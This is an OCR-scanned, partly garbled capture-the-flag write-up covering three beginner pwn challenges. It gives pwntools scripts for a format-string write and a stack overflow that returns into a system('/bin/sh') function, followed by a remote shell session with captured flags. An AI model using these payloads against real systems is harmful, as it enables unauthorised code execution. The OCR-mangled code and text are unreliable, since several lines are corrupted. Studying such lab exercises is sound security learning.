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1.5 it 5t get_shell
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RIEAEBR, KT Z BB v {5 F chmod +x ./ 34

RJENnc -nv 111.198.29.45 5597355 Fim 2 LML

$ nc -nv 111.198.29.45 55973
Connection to 111.198.29.45 55973 port [tcp/*] succeeded!

cyberpeace{8e3014e3b5914ae7e0363f4d799ac747}

*** T8 2 chmod 4\ https://www.cnblogs.com/peida/archive/2012/11/29/2794010.html
*** T8 Z ncfn 4218 & https://www.cnblogs.com/nowgood/p/7219716.html
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bill@bill-virtual-machine:~/5% @ /pwn$ file pwn2
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically link
ed, interpreter /1ib/1d-, for GNU/Linux 2.6.24, BuildID[sha1]=113a10b953bc39c6el

82c4ce6e05582ba2f8017a, not stripped
bill@bill-virtual-machine:~/S M /pwn$ |
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if ( pﬁﬁme == 8 )

{
puts(“you pwned me, here is your flag:\n");
system(“cat flag");

]
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{
puts(“Thank yout!");
)
result = 0;
ult = =MK_FP(__GS__, 20)
return result;
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<X bill@bill-virtual-machine: ~/SE/pwn
bill@bill-virtual-machine:~/5% & /pwn$ gdb -q pwn2

Reading symbols from pwn2...(no debugging symbols found)
b *0x080486CD

Breakpoint 1 at 0x80486cd
r

Starting program: /home/bill/5 & /pwn/pwn2

please tell me your name:

EEEE

leave your message please:

EEEE

hello aaaa

your message is:

("aaaa\n")
: ("aaaa\n")
1 OXFFFFFfff
g --> Ox0
--> 0x1b1dbo
--> 0xdcf59c00
--> Ox0
--> ("aaaa\n")

RIGHE — I PythoniliA&, ZZ*https://blog.csdn.net/zz_Caleb/article/details/88980866

pwn2.py (~/5EH/pwn) - gedit

IA@O0) v I+ 1R77(S)

from pwn import *

p = remote('111.198.29.45"', 49936)
pwnme = O0x0804A068

payloadl = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10sSn'

p.recvuntil('please tell me your name:\n')
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P.SEenaLLunepayLodal )
p.recvuntil('leave your message please:\n')
p.sendline(payload?)

print(p.recv())

print(p.recv()) #p.interactive()
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@ © © bill@bill-virtual-machine: ~/£E/pwn

bill@bill-virtual-machine:~/5% E/pwn$ python pwn2.py
[+] Opening connection to 111.198.29.45 on port 49936: Done
hello aaaa

your message is:

h\xa0\x0aaaa

you pwned me, here is your flag:
cyberpeace{9ec889d99328850baa192bc2f8fb1a84}

[*] Closed connection to 111.198.29.45 port 49936

bill@bill-virtual-machine:~/S%&E/pwn$ |}
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B 3flag.
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bill@bill-virtual-machine: ~/£&E/pwn

bill@bill-virtual-machine:~/5 & /pwn$ checksec pwn3
[*] '/home/bill/\xe6\xa1l\x8c\xe9\x9d\xa2/pwn/pwn3"

Arch: amd64-64-1little
RELRO:

Stack:

NX:

PIE:

RIRTFRE TNXIRY, RFida F5RE%

H=l 1R Yliew A =
1lint __ecdecl main(int argec, const char xxargu, const char xxenup)

2/{

3 write(1, "Hello, Worldyn", ElxDule

4/ return vulnerable_function(1LL, “Hello, Worldin");
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AFunctions window B % *| [EIDA View-A EPseudocode—G EPseudocodeF EPseudocode—E
A~
. A 1lssize_t vulnerable_function()
Function name 2t
npC start main 3 char buf; // [sp+Oh] [bp-88h]RI
do global dtors aux 4 —
lib fini 5| return read(@, &buf, 0x200uLL);
! C CsSU _|n_| &)
libc csu init

libc start main

libc start main@@GLIBC 2 2 5
init proc

read

start

system

term proc
write
@ callsystem
@ deregister tm clones
Fframe dummy
A main
Aread
Aread@@GLIBC 2 2 5
# register tm clones
71 system
FAsystem@@GLIBC 2 2 5
Fyulnerable function

HEHEHHEHEEEHE

A write

FAwrite@@GLIBC 2 2 5 v
< >
Line 23 of 25
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-000000000000001 3 db ? ; undefined
-000000000000001 2 db ? ; undefined




-0000ERERAERERAEAT1 db ? ; undefined
-00000RARERAERAERT0 db ? ; undefined
e Telelelelelelelelelelelelelel o db ? ; undefined
-00000RARERAERRARE db ? ; undefined
-000000ARERERAERAD db ? ; undefined
-00000RARERERAERAC db ? ; undefined
plolelolalalalalalolalolalalala] ] db ? ; undefined
-00000RERERAEREROA db ? ; undefined
plolelalelalalalalolalolalolaloks] db ? ; undefined
plolelalelalalolalolalolalalalot: db ? ; undefined
-000000ARERERAERAT db ? ; undefined
-000000ARERERAER0E db ? ; undefined
-000000ARERERAERAS db ? ; undefined
-000000AREREREROY db ? ; undefined
-000000ARERERAERO3 db ? ; undefined
-00000RARERERERG2 db ? ; undefined
-0000ERERERERERAT db ? ; undefined
+00000000000000RD s db 8 dup(?)
+0000000000000008 r, db 8 dup(?)
+000000000E000010
+0000000000000010 ; end of stack variables
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int callsystem()

1

2|{

3| return system(”/bin/sh”);
y

}

BT Rt Kcallsystemy bk B T, KIZ

text:00OOOOOOOOYEES596 ; =======z=z=z=z=z=z:z:: S UBROUTTIMNE ====:===
text: 00OOOOOOOO4OO596

text:00000EO000Y4EO596 ; Attributes: bp-based frame

text: 00OOOOOOOO4OO596

text:0000000000400596 public callsystem
text:00000000OBH00596 callsystem proc near

text: 00OOOOOOOO4OO596 push rbp

Favwd  AOOOOOOOOOHOOEGT A [ NN .
0x00400596,

BT DA A S B i — AT Bt payload = ‘A’ * 0x80 + ‘A’ * 0x8 + p64(0x00400596).
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from pwn import *

r = remote("111.198.29.45", 35218)

payload = 'A' * Ox80 + 'A' * Ox8 + p64(0x00400596)

r.recvuntil("Hello, World\n")



r.sendline(payload)

r.interactive()
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. ®® @ bill@bill-virtual-machine: ~/S£&/pwn

bill@bill-virtual-machine:~/5% [ /pwn$ python pwn3.py
[+] Opening connection to 111.198.29.45 on port 35218: Done
[*] Switching to interactive mode
ls
bin
dev
flag
levelo
1ib
1ib32
1ib64
cat flag
cyﬁerpeace{f583c23fe67db9bb493b081662a4f468}
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